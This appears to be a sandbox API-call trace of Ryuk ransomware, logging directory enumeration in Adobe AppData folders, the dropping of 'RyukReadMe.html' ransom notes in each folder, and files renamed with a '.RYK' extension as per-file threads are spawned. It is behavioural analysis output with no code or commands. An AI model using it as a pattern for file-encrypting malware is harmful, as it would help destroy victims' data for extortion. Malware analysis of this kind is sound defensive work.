	[0204.496] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0204.496] SetLastError (dwErrCode=0x0) 
	[0204.496] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434
	[0204.497] GetLastError () returned 0xb7
	[0204.497] CloseHandle (hObject=0x434) returned 1
	[0204.497] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ac, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0204.497] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.497] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0204.498] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0204.500] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.501] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.501] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.501] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0204.502] SetLastError (dwErrCode=0x0) 
	[0204.502] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434
	[0204.502] GetLastError () returned 0xb7
	[0204.502] CloseHandle (hObject=0x434) returned 1
	[0204.502] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.502] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0204.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0204.505] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.506] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0204.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0204.508] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.509] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0204.509] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0204.509] SetLastError (dwErrCode=0x0) 
	[0204.509] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc
	[0204.510] GetLastError () returned 0xb7
	[0204.510] CloseHandle (hObject=0x4fc) returned 1
	[0204.510] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.510] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.510] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0204.510] SetLastError (dwErrCode=0x0) 
	[0204.511] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.511] GetLastError () returned 0xb7
	[0204.511] CloseHandle (hObject=0x438) returned 1
	[0204.511] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0204.511] SetLastError (dwErrCode=0x0) 
	[0204.511] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.512] GetLastError () returned 0xb7
	[0204.512] CloseHandle (hObject=0x438) returned 1
	[0204.512] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0204.512] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.512] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x192, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0204.512] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0204.515] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.517] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0204.517] SetLastError (dwErrCode=0x0) 
	[0204.517] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.517] GetLastError () returned 0xb7
	[0204.517] CloseHandle (hObject=0x4cc) returned 1
	[0204.518] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0204.518] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.518] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x19e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.518] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x19e, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0204.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0204.521] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.522] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x19e, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0204.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0204.524] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.525] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x19e, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0204.525] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0204.525] SetLastError (dwErrCode=0x0) 
	[0204.525] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.525] GetLastError () returned 0xb7
	[0204.526] CloseHandle (hObject=0x4cc) returned 1
	[0204.526] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.526] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.526] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0204.526] SetLastError (dwErrCode=0x0) 
	[0204.526] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.526] GetLastError () returned 0xb7
	[0204.527] CloseHandle (hObject=0x438) returned 1
	[0204.527] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x186, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.527] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x186, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.527] FindClose (in: hFindFile=0x29f0a0 | out: hFindFile=0x29f0a0) returned 1
	[0204.527] SetLastError (dwErrCode=0x0) 
	[0204.527] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0204.527] GetLastError () returned 0xb7
	[0204.527] CloseHandle (hObject=0x4ac) returned 1
	[0204.528] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0204.528] SetLastError (dwErrCode=0x0) 
